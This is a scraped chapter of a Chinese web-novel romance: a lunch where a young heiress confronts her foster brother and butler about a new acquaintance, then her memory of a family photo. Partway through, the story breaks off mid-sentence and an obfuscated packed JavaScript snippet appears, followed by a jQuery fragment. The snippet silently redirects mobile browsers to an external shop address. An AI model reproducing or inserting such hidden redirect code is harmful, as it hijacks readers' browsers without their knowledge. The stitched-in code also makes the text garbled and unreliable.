文趣网 > 其他小说 > 爱着你这件事 > 3. 爱你
    餐馆的四人桌在等待上菜。燕双宜和陆雍也对面而坐,燕双宜旁边坐着方瀚文,陆雍也身侧是贺怀宁。

    诡异的格局。

    平时出门聚餐,陆雍也总是坐在燕双宜的外侧,好给她烤肉夹菜。崔春景则坐在燕双宜对面,方便好友两人聊天。但今天四个人进了餐馆,陆雍也刚习惯性将外套搭在里座椅背上,燕双宜已经一屁股坐在了他对面,意思不言自明。

    她要坐在陆雍也对面狠狠审判这个撒谎精。

    “你不是说一个人出来吃饭吗?”燕双宜似笑非笑。

    “我本来是这么打算的,”陆雍也解释了一句,目光瞥向燕双宜身侧的方瀚文,“你俩怎么会在一起?”

    “出门写生碰上的,他说我之前借他的伞丢了,要买把新的还我。不要扯开话题。”

    燕双宜不耐烦地敲了敲桌面:“跟别人吃午饭也没必要瞒着我吧?说句实话是会坏了你的事吗?我打你电话几次都关机,结果是跟别人有约吗?”

    她想起刚才看到的场景。商场的灯光是暖的,将女孩长发照成柔软的黄。脚步轻快的女子眉眼带笑,注视她的青年也在笑。

    那一瞬间燕双宜心头忽然有些异样的感觉,但它消失得太快了,很快被挂电话的怒气盖过。

    燕双宜没有捕捉到。

    “燕学妹不要误会了。”

    这次出声的是贺怀宁,燕双宜目光移过去。

    “你哥手机摔坏了才没接到你电话,所以刚才过来买了个新手机。”贺怀宁抿嘴笑,“他很关心你,前后给你打了几次电话,你可不要错怪了他。”

    私下跟陆雍也一起的时候燕双宜忍不住会闹脾气,但她本质上是个窝里横,面对陌生人时她还是很矜持的。看向贺怀宁时燕双宜态度下意识软化了一点,点一点头表示自己明白了。

    同时她微微吃了一惊。虽然陆雍也一直在燕家长大,名义上算燕百鸣半个儿子,但陆雍也对燕双宜来说与其说是她的“哥哥”,其实更像是她的“东西”。贺怀宁说“你哥”的时候,燕双宜一时没反应过来她指的是陆雍也。

    指责自己的管家和指责自己的“哥哥”完全是两回事,燕双宜一时气短,不好意思再在公共场合和“兄长”吵嘴。陆雍也更不会在外人面前说燕双宜半句重话,有话也要等到回家再说,此事似乎要就此揭过。

    坐在燕双宜身旁的方瀚文先前始终保持安静没有插嘴,直到贺怀宁说出“你哥”两字时,青年嘴角忽然一勾。

    “刚才陆雍也介绍我们的时候,好像只说了燕双宜是他的家人吧。”

    方瀚文疑惑:“贺小姐怎么会觉得燕双宜是陆雍也的妹妹?他们俩既不同姓,长得也不像,看上去年龄也差不多吧。”

    陆雍也平时从不以大小姐养兄的身份自居,当然不可能这样介绍燕双宜。所以贺怀宁的话一出,燕双宜才会愣住。

    “可能是一种感觉?”贺怀宁沉吟,“燕学妹给人感觉比较柔软,我总觉得她应该属兔。至于陆雍也……他身上就有种做哥哥的气质。”

    说话间店员开始上菜。燕双宜边吃边想,还是第一次有刚认识的人用“柔软”这个词形容她,崔春景当年滤镜都没这么重。

    “这样啊——”方瀚文拖长了声音,“我还以为你今天之前就认识他俩呢,一猜一个准。”

    陆雍也拿了一个螃蟹拆:“没有,我们今天刚认识的,学姐帮了我一个小忙。”

    习惯了照顾大小姐的管家熟练地拆好螃蟹剔出蟹肉,正要递到旁边,才看到身边坐的人是贺怀宁。燕双宜眼皮也不抬,伸手毫不客气把装蟹黄蟹肉的醋碟拖到自己面前。

    整个过程行云流水毫不拖沓,带着天然的理直气壮。在场另外两人同时一默,对视一眼又很快分开。

    陆雍也轻轻笑了笑。

    席间两位男士先后去厕所方便。桌边只剩两人时,贺怀宁几度想和燕双宜搭话,但燕双宜不擅长和刚见面的陌生人掏心掏肺,只干巴巴地回答了贺怀宁的问题,没能把对话继续下去。

    “为什么燕学妹跟陆雍也的姓不一样?”

    燕双宜避重就轻:“陆雍也跟妈妈姓,我跟我爸姓。”

    陆雍也确实是跟他母亲姓的。燕百鸣从来没在家里提过陆雍也的父母,因此燕双宜知道的也很有限,只听说他母亲早年亡故,陆雍也年幼时到了燕家,就此住下。

    寻常人收养孩子总要改姓,燕百鸣却没这么做,仍叫他继续姓陆。某种程度上削减了陆雍也在燕家的地位,改姓的养子和没正式收养的孩子继承权天差地别。

    “其实你们兄妹俩长得挺像的,都长得很漂亮。”

    “谢谢学姐夸奖,学姐你长得比陆雍也漂亮多了。”

    “你们应该不是双胞胎吧?为什么要同一年上学?”

    “我爸这么决定的。我无所谓,陆雍也大概也一样。”

    “陆雍也不是你哥吗?为什么你总是直接喊他名字?”

    “这有什么关系?反正他也从来没叫过我妹妹。”

    短暂的沉默。燕双宜反省刚才是不是话说得太硬,一时又想不出来怎么弥补,只好埋头吃饭假装无事发生。

    椅腿在地上滑动一下,发出奇怪的声音。贺怀宁探身将手机递过来。

    “加个微信吗?我听陆雍也说你俩都会进燕大,以后我们还可以在学校约饭,见面的机会还很多。”

    “哦哦好的。”

    燕双宜拿出手机正要扫码,点开微信发现未登录后才想起来带出来的是备用机,没法收验证码就没法登微信,手尴尬地停在半空。

    “我今天没上微信。”

    这话听上去太像不想加好友的借口,燕双宜待要解释,陆雍也和方瀚文先后回来了。贺怀宁收起手机坐回去,燕双宜松了口气。

    吃完饭陆雍也去前台,贺怀宁拿着手机追上去,似乎是要抢着结账,二人半晌没有回来。燕双宜对这种礼貌性拉扯环节不感兴趣,坐在桌边继续吃她的果盘,看样子是打定主意要贯彻光盘行动。

    “你不去跟过去看看吗?”方瀚文冷不丁问。

    燕双宜把最后一颗小番茄扔到嘴里,莫名其妙:“看什么?结账有什么好看的?”

    抢着结账跟推拒压岁钱是燕双宜最讨厌的两套戏码没有之一,平时碰到都会掉头就走,她受不了那个尴尬劲。

    “你不是喜欢陆雍也吗?不害怕他被别人抢走吗?”

    牙齿切开番茄,一股番茄汁喷进喉管。燕双宜冷不防被呛到,剧烈地咳嗽起来。

    方瀚文赶紧拍她的后背。

    “你说什么?”燕双宜咳得脸都红了才缓过劲来,难以置信地问,“你从哪里看出来的?我?喜欢陆雍也?”

    “没有吗?”方瀚文笑起来,“没有就好,这样至少不会伤心。”

    燕双宜皱眉:“我不喜欢别人打哑谜,你有什么话就直说。”

    “你没发现吗?陆雍也刚才买的新手机,跟那位贺小姐的是情侣款。”

    燕双宜睁大眼睛。她平时不怎么在用的东西上留心,贺怀宁要加她微信时拿着手机在燕双宜面前晃了几下,燕双宜明明见过她的手机。但现在再去努力回想,除了颜色以外一点也想不起来。

    “你真没发现啊,”方瀚文观察燕双宜的表情,“所以我才问他俩到底是不是今天才认识。刚认识一天就用情侣手机,速度未免也太快了。”

    “所以你觉得我会伤心?因为陆雍也可能跟贺怀宁谈恋爱了?”燕双宜摇摇头,把多余的思绪从脑海里驱赶出去,“你为什么会觉得我喜欢陆雍也?”

    “陆雍也只是燕家养子,不是你的亲哥哥,也不是你的男朋友,没有24小时向你汇报行踪的义务。如果不是因为吃醋,为什么你会因为他跟其他女生吃个午饭生这么大气?”

    可陆雍也就是要24小时掌握她的行踪,凭什么只许州官放火不许百姓点灯?

    燕双宜有些委屈,但这种家里私事不好跟方瀚文说,一时间难以自辩。

    “而且你们看上去太过亲密,吃个饭他都在照顾你。就算是亲兄妹也不会像你们这样腻歪。”

    “那是因为我们从小一起长大,他是我的贴身管家,照顾我是他的——”燕双宜斟酌了一下用词,“责任。”

    “你给他开工资吗?抚养费和工资可不是一回事。”方瀚文意有所指,“如果陆雍也平时拿的钱不是零花钱而是工资,那你们燕家应该算非法雇佣童工吧?”

    燕双宜无言以对,方瀚文慢悠

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17744842|209240||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    悠地补刀:“无限包容一个女孩是她男朋友的责任,而不是一个没有户籍关系也没有血缘关系的哥哥的。就算陆雍也现在没有跟这位贺小姐谈恋爱,等他有了女朋友后,精力肯定更多会放到伴侣身上。”

    “你如果现在不慢慢抽离对他的依赖,到时候一定会伤心的。”

    说话间,贺怀宁回来了。燕双宜和方瀚文都住了嘴,不再说下去。贺怀宁没注意到他俩神情有异,脸上带着一点不好意思:“本来说这顿饭我请的,结果还是让你哥请了。”

    她手上还拿着那只白色手机。燕双宜视线钉在上面半晌,后知后觉发现和陆雍也新买的手机真是一对。

    “我加了他微信想转账过去,但他没收。”贺怀宁征求地看向燕双宜,“你能告诉我你哥的手机号码吗?我转支付宝试试。”

    如果他俩真的谈恋爱了,不可能刚刚才加上微信吧。

    “他不会收的,学姐还是别为难我了。”燕双宜不想成为推拉买单的一环,“陆雍也不是说学姐帮了他一个忙吗?本来就该他请学姐吃饭的,为什么还要学姐付钱?”

    “这个嘛……”

    贺怀宁竖起食指到嘴边:“是秘密哦。”

    *

    是秘密哦。

    燕双宜趴在床上,把脸埋进被子里,脑海中学姐的声音始终挥之不去。她别过头,看向床头的相框。照片上是燕家一家三口,五岁的燕双宜和六岁的陆雍也对着相机微笑。

    燕百鸣将燕双宜抱在腿上,安抚地将手放在燕双宜头顶。站在旁边的陆雍也面容苍白,笑意很淡;坐在燕百鸣怀里的燕双宜眼眶微肿,笑得羞怯。

    她还记得为什么拍这张照片。那一年燕百鸣在球场闹出了绯闻,传言中他有了什么“星期六高尔夫女友”。外面财经杂志报刊纷纷猜测燕家很快将迎来一位新的女主人,届时燕双宜就会多一位后妈。

    五岁的燕双宜认字不多,当然看不懂那些新闻报道,但架不住家里也有人议论。家里打扫卫生的保姆背后偷偷八卦,燕总要是娶了新老婆再生几个孩子,家里这个前妻留下来的女儿到底还能分到多少家产。

    年幼的孩子无法完全听懂那些术语的含义,但敏锐地察觉到这些话里隐含的恶意。她不敢去问父亲,又不好意思去问陆雍也,一个人躲在假山里偷偷地哭,哭累了就蜷在石头上睡着了。

    找到她的人是陆雍也,那时候二人关系远没有现在这般亲近,燕双宜模糊记得那会儿陆雍也似乎生了一场大病,兄妹俩差不多有小半年没见过面。那天晚上陆雍也拖着虚弱的身体一直找到凌晨三点多,找到成人体型钻不进去的山洞,才把哭睡着的燕双宜从假山里背出来。

    燕百鸣以为是又有人绑架报了警,找到燕双宜后气得扬手要打她屁股。但看着那双和燕语梁一模一样的、哭到红肿的眼睛,燕百鸣动作顿了顿,最后放下了手。

    照片就是第二天拍的。燕父将家里的佣人全部换了一遍,请来专业摄影师拍家人合照。他将洗出来的照片给了燕双宜,告诉她这就是燕家的全家福。

    燕家只会有他们三个,不会再有多出来的人。他不会有新女友,不会娶其他人,更不会有其他孩子。

    五岁的燕双宜破涕为笑。

    “我很自私吧。”

    十七岁的燕双宜一下一下地戳着相片,自言自语。

    为了不让别人有机会跟自己抢父亲,不许燕百鸣再娶,断送了父亲或许本可得到的幸福。但就算父亲没有再婚,燕家早晚也是要多出其他人的:陆雍也也会谈恋爱,会成婚,会有他的孩子。

    从前燕双宜不想要陆雍也把全部的精力放在她身上,反而忽略了他自己的人生。所以她阻止陆雍也保送小语种,阻止陆雍也大学继续和她一个班,希望他能慢慢地看到自己,拥有更多属于他一个人的可能。

    然而在意识到陆雍也未来或许会看重别人比看重燕双宜更多后,大小姐心里反而又不痛快起来。

    她模糊地意识到为什么不痛快,但又不愿意承认,觉得这样自私的自己过于可耻。

    ……都怪那个胡说八道的方瀚文。

    “笃笃”,是陆雍也的敲门声,固定两下。

    心里有鬼的燕双宜一惊,下意识将相框按下去。